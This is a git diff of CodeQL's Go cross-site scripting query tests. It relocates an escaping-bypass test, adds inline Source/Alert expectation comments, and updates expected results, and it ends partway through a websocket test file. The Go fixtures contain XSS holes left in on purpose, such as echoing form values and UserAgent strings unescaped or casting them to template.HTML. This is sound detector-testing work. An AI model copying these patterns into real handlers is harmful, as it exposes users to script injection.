--- a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref +++ /dev/null @@ -1,2 +0,0 @@ -query: experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql -postprocess: utils/test/PrettyPrintModels.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected new file mode 100644 index 000000000000..84099f5dd29e --- /dev/null +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected @@ -0,0 +1,60 @@ +#select +| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | untrusted source | +edges +| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | provenance | | +| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | provenance | | +| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | provenance | | +| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | provenance | | +| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | provenance | | +| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | provenance | | +| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config | +models +| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | +nodes +| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | semmle.label | c | +| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | semmle.label | d | +| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | semmle.label | e | +| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | semmle.label | b | +| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | semmle.label | f | +| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | semmle.label | g | +subpaths diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go similarity index 64% rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go rename to go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go index de353c861cf0..5ff36d0a8bc8 100644 --- a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go @@ -7,8 +7,6 @@ import ( "strconv" ) -func main() {} - func checkError(err error) { if err != nil { panic(err) @@ -26,45 +24,45 @@ func bad(req *http.Request) { { { - var a = template.HTML(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } { { var a template.HTML - a = template.HTML(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } { var a HTMLAlias - a = HTMLAlias(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } } } { - var c = template.HTMLAttr(req.UserAgent()) - checkError(tmplTag.Execute(os.Stdout, c)) + var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var d = template.JS(req.UserAgent()) - checkError(tmplScript.Execute(os.Stdout, d)) + var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var e = template.JSStr(req.UserAgent()) - checkError(tmplScript.Execute(os.Stdout, e)) + var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var b = template.CSS(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, b)) + var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var f = template.Srcset(req.UserAgent()) - checkError(tmplSrcset.Execute(os.Stdout, f)) + var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var g = template.URL(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, g)) + var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-bypass-xss] } } diff --git a/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref new file mode 100644 index 000000000000..9ea7791dff27 --- /dev/null +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref @@ -0,0 +1,4 @@ +query: Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected index 647113f3c6b5..91b39e0e2a04 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected @@ -30,10 +30,10 @@ edges | contenttype.go:73:10:73:28 | call to FormValue | contenttype.go:79:11:79:14 | data | provenance | Src:MaD:8 | | contenttype.go:88:10:88:28 | call to FormValue | contenttype.go:91:4:91:7 | data | provenance | Src:MaD:8 | | contenttype.go:113:10:113:28 | call to FormValue | contenttype.go:114:50:114:53 | data | provenance | Src:MaD:8 | -| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:34:32:37 | file | provenance | Src:MaD:7 | +| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:30:32:33 | file | provenance | Src:MaD:7 | | reflectedxsstest.go:31:2:31:44 | ... := ...[1] | reflectedxsstest.go:34:46:34:60 | selection of Filename | provenance | Src:MaD:7 | -| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | | -| reflectedxsstest.go:32:34:32:37 | file | reflectedxsstest.go:32:2:32:38 | ... := ...[0] | provenance | MaD:13 | +| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | | +| reflectedxsstest.go:32:30:32:33 | file | reflectedxsstest.go:32:2:32:34 | ... := ...[0] | provenance | MaD:13 | | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | reflectedxsstest.go:33:17:33:56 | call to Sprintf | provenance | MaD:12 | | reflectedxsstest.go:33:17:33:56 | call to Sprintf | reflectedxsstest.go:33:10:33:57 | type conversion | provenance | | | reflectedxsstest.go:33:49:33:55 | content | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | provenance | | @@ -81,7 +81,7 @@ models | 10 | Source: net/http; Request; true; URL; ; ; ; remote; manual | | 11 | Source: nhooyr.io/websocket; Conn; true; Read; ; ; ReturnValue[1]; remote; manual | | 12 | Summary: fmt; ; false; Sprintf; ; ; Argument[1].ArrayElement; ReturnValue; taint; manual | -| 13 | Summary: io/ioutil; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual | +| 13 | Summary: io; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual | | 14 | Summary: io; Reader; true; Read; ; ; Argument[receiver]; Argument[0]; taint; manual | | 15 | Summary: mime/multipart; Part; true; FileName; ; ; Argument[receiver]; ReturnValue; taint; manual | | 16 | Summary: mime/multipart; Reader; true; NextPart; ; ; Argument[receiver]; ReturnValue[0]; taint; manual | @@ -108,8 +108,8 @@ nodes | contenttype.go:114:50:114:53 | data | semmle.label | data | | reflectedxsstest.go:31:2:31:44 | ... := ...[0] | semmle.label | ... := ...[0] | | reflectedxsstest.go:31:2:31:44 | ... := ...[1] | semmle.label | ... := ...[1] | -| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | semmle.label | ... := ...[0] | -| reflectedxsstest.go:32:34:32:37 | file | semmle.label | file | +| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | semmle.label | ... := ...[0] | +| reflectedxsstest.go:32:30:32:33 | file | semmle.label | file | | reflectedxsstest.go:33:10:33:57 | type conversion | semmle.label | type conversion | | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | semmle.label | []type{args} [array] | | reflectedxsstest.go:33:17:33:56 | call to Sprintf | semmle.label | call to Sprintf | diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go index 43e5e022598c..fe6f5844998c 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go @@ -8,10 +8,10 @@ import ( func serve() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source[go/reflected-xss] if !isValidUsername(username) { // BAD: a request parameter is incorporated without validation into the response - fmt.Fprintf(w, "%q is an unknown user", username) + fmt.Fprintf(w, "%q is an unknown user", username) // $ Alert[go/reflected-xss] } else { // TODO: Handle successful login } diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref index 754513d72bb3..e6b791f39fca 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/ReflectedXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected index 89612f9722b7..4e2958c767e2 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected @@ -1,9 +1,7 @@ #select -| StoredXss.go:13:21:13:36 | ...+... | StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | Stored cross-site scripting vulnerability due to $@. | StoredXss.go:13:21:13:31 | call to Name | stored value | | stored.go:30:22:30:25 | name | stored.go:18:3:18:28 | ... := ...[0] | stored.go:30:22:30:25 | name | Stored cross-site scripting vulnerability due to $@. | stored.go:18:3:18:28 | ... := ...[0] | stored value | | stored.go:61:22:61:25 | path | stored.go:59:30:59:33 | definition of path | stored.go:61:22:61:25 | path | Stored cross-site scripting vulnerability due to $@. | stored.go:59:30:59:33 | definition of path | stored value | edges -| StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | provenance | | | stored.go:18:3:18:28 | ... := ...[0] | stored.go:25:14:25:17 | rows | provenance | Src:MaD:1 | | stored.go:25:14:25:17 | rows | stored.go:25:29:25:33 | &... | provenance | FunctionModel | | stored.go:25:29:25:33 | &... | stored.go:30:22:30:25 | name | provenance | | @@ -11,8 +9,6 @@ edges models | 1 | Source: database/sql; DB; true; Query; ; ; ReturnValue[0]; database; manual | nodes -| StoredXss.go:13:21:13:31 | call to Name | semmle.label | call to Name | -| StoredXss.go:13:21:13:36 | ...+... | semmle.label | ...+... | | stored.go:18:3:18:28 | ... := ...[0] | semmle.label | ... := ...[0] | | stored.go:25:14:25:17 | rows | semmle.label | rows | | stored.go:25:29:25:33 | &... | semmle.label | &... | @@ -20,3 +16,5 @@ nodes | stored.go:59:30:59:33 | definition of path | semmle.label | definition of path | | stored.go:61:22:61:25 | path | semmle.label | path | subpaths +testFailures +| StoredXss.go:13:39:13:63 | comment | Missing result: Alert[go/stored-xss] | diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go index 008b738f4cae..05e865be886a 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go @@ -2,14 +2,14 @@ package main import ( "io" - "io/ioutil" "net/http" + "os" ) func ListFiles(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { - io.WriteString(w, file.Name()+"\n") + io.WriteString(w, file.Name()+"\n") // $ Alert[go/stored-xss] } } diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref index 66b7d67dd8f3..f47ad25ca9c7 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/StoredXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go index 364b98874666..b0f5e936a6a1 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go @@ -4,13 +4,13 @@ import ( "html" "html/template" "io" - "io/ioutil" "net/http" + "os" ) func ListFiles1(w http.ResponseWriter, r *http.Request) { var template template.Template - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, html.EscapeString(file.Name())+"\n") diff --git a/go/ql/test/query-tests/Security/CWE-079/contenttype.go b/go/ql/test/query-tests/Security/CWE-079/contenttype.go index bb9880cc5769..2800b3eed456 100644 --- a/go/ql/test/query-tests/Security/CWE-079/contenttype.go +++ b/go/ql/test/query-tests/Security/CWE-079/contenttype.go @@ -8,13 +8,13 @@ import ( func serve2() { http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - data := r.Form.Get("data") + data := r.Form.Get("data") // $ Source[go/reflected-xss] // Not OK; direct flow from request body to output. // The response Content-Type header is derived from a call to // `http.DetectContentType`, which can be easily manipulated into returning // `text/html` for XSS. - w.Write([]byte(data)) + w.Write([]byte(data)) // $ Alert[go/reflected-xss] }) http.ListenAndServe(":80", nil) } @@ -46,11 +46,11 @@ func serve4() { func serve5() { http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - data := r.Form.Get("data") + data := r.Form.Get("data") // $ Source[go/reflected-xss] w.Header().Set("Content-Type", "text/html") - fmt.Fprintf(w, "Constant: %s", data) // Not OK; the content-type header is explicitly set to html + fmt.Fprintf(w, "Constant: %s", data) // $ Alert[go/reflected-xss] // The content-type header is explicitly set to html }) http.ListenAndServe(":80", nil) } @@ -60,8 +60,8 @@ func serve10() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") - fmt.Fprintf(w, "\t%s", data) // Not OK + data = r.FormValue("data") // $ Source[go/reflected-xss] + fmt.Fprintf(w, "\t%s", data) // $ Alert[go/reflected-xss] }) } @@ -70,13 +70,13 @@ func serve11() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") + data = r.FormValue("data") // $ Source[go/reflected-xss] fmt.Fprintf(w, ` %s -`, data) // Not OK +`, data) // $ Alert[go/reflected-xss] }) } @@ -85,10 +85,10 @@ func serve12() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") + data = r.FormValue("data") // $ Source[go/reflected-xss] fmt.Fprintf(w, ` %s -`, data) // Not OK +`, data) // $ Alert[go/reflected-xss] }) } @@ -110,7 +110,7 @@ func serve14() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") - fmt.Fprintf(w, "%s", data) // Not OK + data = r.FormValue("data") // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%s", data) // $ Alert[go/reflected-xss] }) } diff --git a/go/ql/test/query-tests/Security/CWE-079/go.mod b/go/ql/test/query-tests/Security/CWE-079/go.mod index 67a026622814..aaab77bf0398 100644 --- a/go/ql/test/query-tests/Security/CWE-079/go.mod +++ b/go/ql/test/query-tests/Security/CWE-079/go.mod @@ -1,6 +1,6 @@ module codeql-go-tests/CWE-079 -go 1.14 +go 1.24 require ( github.com/gobwas/ws v1.0.3 diff --git a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go index 70bb248298de..b3ddc79535b4 100644 --- a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go +++ b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go @@ -3,7 +3,7 @@ package main import ( "encoding/json" "fmt" - "io/ioutil" + "io" "net/http" ) @@ -28,29 +28,29 @@ func ErrTest(w http.ResponseWriter, r http.Request) { w.Write([]byte(fmt.Sprintf("Cookie result: %v", cookie))) // GOOD: Cookie's value is not user-controlled in reflected xss. w.Write([]byte(fmt.Sprintf("Cookie check error: %v", err))) // GOOD: Cookie's err return is harmless http.Error(w, fmt.Sprintf("Cookie result: %v", cookie), 500) // Good: only plain text is written. - file, header, err := r.FormFile("someFile") - content, err2 := ioutil.ReadAll(file) - w.Write([]byte(fmt.Sprintf("File content: %v", content))) // BAD: file content is user-controlled - w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // BAD: file header is user-controlled + file, header, err := r.FormFile("someFile") // $ Source[go/reflected-xss] + content, err2 := io.ReadAll(file) + w.Write([]byte(fmt.Sprintf("File content: %v", content))) // $ Alert[go/reflected-xss] // BAD: file content is user-controlled + w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // $ Alert[go/reflected-xss] // BAD: file header is user-controlled w.Write([]byte(fmt.Sprintf("FormFile error: %v", err))) // GOOD: FormFile's err return is harmless w.Write([]byte(fmt.Sprintf("FormFile error: %v", err2))) // GOOD: ReadAll's err return is harmless - reader, err := r.MultipartReader() + reader, err := r.MultipartReader() // $ Source[go/reflected-xss] part, err2 := reader.NextPart() partName := part.FileName() byteSlice := make([]byte, 100) part.Read(byteSlice) - w.Write([]byte(fmt.Sprintf("Part name: %v", partName))) // BAD: part name is user-controlled - w.Write(byteSlice) // BAD: part contents are user-controlled + w.Write([]byte(fmt.Sprintf("Part name: %v", partName))) // $ Alert[go/reflected-xss] // BAD: part name is user-controlled + w.Write(byteSlice) // $ Alert[go/reflected-xss] // BAD: part contents are user-controlled w.Write([]byte(fmt.Sprintf("MultipartReader error: %v", err))) // GOOD: MultipartReader's err return is harmless w.Write([]byte(fmt.Sprintf("MultipartReader error: %v", err2))) // GOOD: NextPart's err return is harmless } func QueryMapTest(w http.ResponseWriter, r http.Request) { - keys, ok := r.URL.Query()["data_id"] + keys, ok := r.URL.Query()["data_id"] // $ Source[go/reflected-xss] if ok && len(keys[0]) > 0 { key := keys[0] - w.Write([]byte(key)) // BAD: query string is user-controlled + w.Write([]byte(key)) // $ Alert[go/reflected-xss] // BAD: query string is user-controlled } } diff --git a/go/ql/test/query-tests/Security/CWE-079/stored.go b/go/ql/test/query-tests/Security/CWE-079/stored.go index 807ae7e1d441..d2852f631ef2 100644 --- a/go/ql/test/query-tests/Security/CWE-079/stored.go +++ b/go/ql/test/query-tests/Security/CWE-079/stored.go @@ -15,7 +15,7 @@ var q string func storedserve1() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - rows, _ := db.Query(q, 32) + rows, _ := db.Query(q, 32) // $ Source[go/stored-xss] for rows.Next() { var ( @@ -27,7 +27,7 @@ func storedserve1() { } // BAD: the stored XSS query assumes all query results are untrusted - io.WriteString(w, name) + io.WriteString(w, name) // $ Alert[go/stored-xss] } }) } @@ -56,9 +56,9 @@ func storedserve2() { func storedserve3() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { - filepath.WalkDir(".", func(path string, _ fs.DirEntry, err error) error { + filepath.WalkDir(".", func(path string, _ fs.DirEntry, err error) error { // $ Source[go/stored-xss] // BAD: filenames are considered to be untrusted - io.WriteString(w, path) + io.WriteString(w, path) // $ Alert[go/stored-xss] return nil }) }) diff --git a/go/ql/test/query-tests/Security/CWE-079/tst.go b/go/ql/test/query-tests/Security/CWE-079/tst.go index e6d4f1ed22b8..c53fe476b951 100644 --- a/go/ql/test/query-tests/Security/CWE-079/tst.go +++ b/go/ql/test/query-tests/Security/CWE-079/tst.go @@ -11,11 +11,11 @@ import ( func serve6() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source[go/reflected-xss] if !isValidUsername(username) { // BAD: a request parameter is incorporated without validation into the response a := []string{username, "is", "an", "unknown", "user"} - w.Write([]byte(strings.Join(a, " "))) + w.Write([]byte(strings.Join(a, " "))) // $ Alert[go/reflected-xss] } else { // TODO: do something exciting } @@ -45,12 +45,12 @@ func serve7() { func serve8() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - service := r.Form.Get("service") + service := r.Form.Get("service") // $ Source[go/reflected-xss] if service != "service1" && service != "service2" { fmt.Fprintln(w, "Service not found") } else { // OK (service is known to be either "service1" or "service2" here), but currently flagged - w.Write([]byte(service)) + w.Write([]byte(service)) // $ SPURIOUS: Alert[go/reflected-xss] } }) } diff --git a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go index 06f15e52cd30..aa8bc8e41add 100644 --- a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go @@ -15,10 +15,10 @@ import ( nhooyr 